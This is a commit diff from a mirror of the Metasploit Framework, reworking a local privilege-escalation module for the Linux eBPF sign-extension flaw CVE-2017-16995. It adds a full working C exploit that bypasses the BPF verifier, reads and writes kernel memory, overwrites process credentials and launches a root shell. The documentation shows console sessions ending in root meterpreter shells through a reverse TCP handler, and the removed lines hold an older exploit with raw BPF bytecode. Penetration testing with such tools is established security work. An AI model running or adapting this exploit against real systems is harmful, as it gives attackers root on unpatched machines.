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mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

Fix bpf_sign_extension_priv_esc

This commit is contained in:
Brendan Coles 2018-07-13 23:01:17 +00:00
parent e197cb5759
commit 9bdec97b2e
4 changed files with 668 additions and 395 deletions

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@ -0,0 +1,496 @@
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}

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@ -1,20 +1,29 @@
## Vulnerable Application
This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0,
which contains a vulnerability where it may improperly perform sign extentension.
This can be utilized to priv escalate. However, this module's offsets and
other parameters have only been set and tested against the 4.4.0-116 kernel.
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
This module has been successfully tested on:
The target system must be compiled with BPF support and must not have
`kernel.unprivileged_bpf_disabled` set to `1`.
* Ubuntu 16.04 with the 4.4.0-116 kernel
* Linux Mint 18 with the 4.4.0-116-generic kernel
This module has been tested successfully on:
### Meterpreter Exception
Due to a bug, this exploit can only be run on a non-meterpreter shell.
When run on meterpreter, or a shell spawned by meterpreter, the error `error: Invalid argument`
is thrown by the executable.
* Debian 9.0 kernel 4.9.0-3-amd64;
* Deepin 15.5 kernel 4.9.0-deepin13-amd64;
* ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
* Fedora 25 kernel 4.8.6-300.fc25.x86_64;
* Fedora 26 kernel 4.11.8-300.fc26.x86_64;
* Fedora 27 kernel 4.13.9-300.fc27.x86_64;
* Linux Mint 17.3 kernel 4.4.0-89-generic;
* Linux Mint 18.0 kernel 4.8.0-58-generic;
* Linux Mint 18.3 kernel 4.13.0-16-generic;
* Mageia 6 kernel 4.9.35-desktop-1.mga6;
* Ubuntu 14.04.1 kernel 4.4.0-89-generic;
* Ubuntu 16.04.2 kernel 4.8.0-45-generic;
* Ubuntu 16.04.3 kernel 4.10.0-28-generic;
* Ubuntu 17.04 kernel 4.10.0-19-generic;
* ZorinOS 12.1 kernel 4.8.0-39-generic.
## Verification Steps
@ -145,55 +154,31 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Linux Mint 18
### Debian 9.0 (x86_64)
```
msf5 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set verbose true
verbose => true
msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > check
[!] SESSION may not be compatible with this module.
[+] Kernel confirmed vulnerable
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False
compile => False
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel confirmed vulnerable
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing UVQYvBTJ to /tmp/UVQYvBTJ.c
[*] Max line length is 65537
[*] Writing 7773 bytes in 1 chunks of 26765 bytes (octal-encoded), using printf
[*] Writing ljJApCaK to /tmp/ljJApCaK
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 845 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 172.16.191.207
[*] task_struct = ffff88003ce84600
[*] uidptr = ffff88003cc46f04
[*] spawning root shell
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:48276) at 2018-03-24 22:46:58 -0400
[+] Deleted /tmp/UVQYvBTJ.c
[+] Deleted /tmp/UVQYvBTJ
[+] Deleted /tmp/ljJApCaK
[!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ' on the target
[!] This exploit may require manual cleanup of '/tmp/ljJApCaK' on the target
[*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ...
[*] Writing '/tmp/.1pZhL1gc' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (861480 bytes) to 172.16.191.236
[*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.207
OS : LinuxMint 18 (Linux 4.4.0-116-generic)
Computer : debian-9-0-x64.local
OS : Debian 9.4 (Linux 4.9.0-3-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

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@ -7,70 +7,92 @@ class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super( update_info( info,
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter
which contains a vulnerability where it may improperly perform
sign extension. This can be utilized to escalate privileges.
This module has been tested on Ubuntu 16.04 with the 4.4.0-116
kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bleidl', # discovery
'vnik', # edb
'h00die' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'References' =>
[
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'Targets' =>
[
[ 'Linux x64', { 'Arch' => ARCH_X64 } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
},
'DisclosureDate' => 'Nov 12 2017',
'Privileged' => true,
'DefaultTarget' => 0))
super(update_info(info,
'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
The target system must be compiled with BPF support and must not have
kernel.unprivileged_bpf_disabled set to 1.
This module has been tested successfully on:
Debian 9.0 kernel 4.9.0-3-amd64;
Deepin 15.5 kernel 4.9.0-deepin13-amd64;
ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
Fedora 25 kernel 4.8.6-300.fc25.x86_64;
Fedora 26 kernel 4.11.8-300.fc26.x86_64;
Fedora 27 kernel 4.13.9-300.fc27.x86_64;
Linux Mint 17.3 kernel 4.4.0-89-generic;
Linux Mint 18.0 kernel 4.8.0-58-generic;
Linux Mint 18.3 kernel 4.13.0-16-generic;
Mageia 6 kernel 4.9.35-desktop-1.mga6;
Ubuntu 14.04.1 kernel 4.4.0-89-generic;
Ubuntu 16.04.2 kernel 4.8.0-45-generic;
Ubuntu 16.04.3 kernel 4.10.0-28-generic;
Ubuntu 17.04 kernel 4.10.0-19-generic;
ZorinOS 12.1 kernel 4.8.0-39-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery
'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
'vnik', # upstream44.c exploit
'rlarabee', # cve-2017-16995.c exploit
'h00die', # Metasploit
'bcoles' # Metasploit
],
'DisclosureDate' => 'Nov 12 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'get-rekt-linux-hardened.c' ],
[ 'AKA', 'upstream44.c' ],
[ 'BID', '102288' ],
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'EDB', '45010' ],
[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir']
end
def command_exists?(cmd)
cmd_exec("command -v #{cmd} && echo true").include? 'true'
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
@ -78,14 +100,46 @@ class MetasploitModule < Msf::Exploit::Local
cmd_exec "chmod +x '#{path}'"
end
def check
version = kernel_release
unless version.start_with? '4.4.0-116-generic'
vprint_error "Kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{version} appears to be vulnerable"
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
@ -93,18 +147,24 @@ class MetasploitModule < Msf::Exploit::Local
end
vprint_good "System architecture #{arch} is supported"
if session.type.to_s.eql? 'meterpreter'
vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged BPF loading is permitted'
release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
CheckCode::Appears
end
def exploit
if session.type.to_s.eql? 'meterpreter'
fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
end
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end
@ -117,295 +177,27 @@ class MetasploitModule < Msf::Exploit::Local
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
compile = false
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if command_exists? 'gcc'
vprint_good 'gcc is installed'
compile = true
else
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
end
c_code = %q{
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
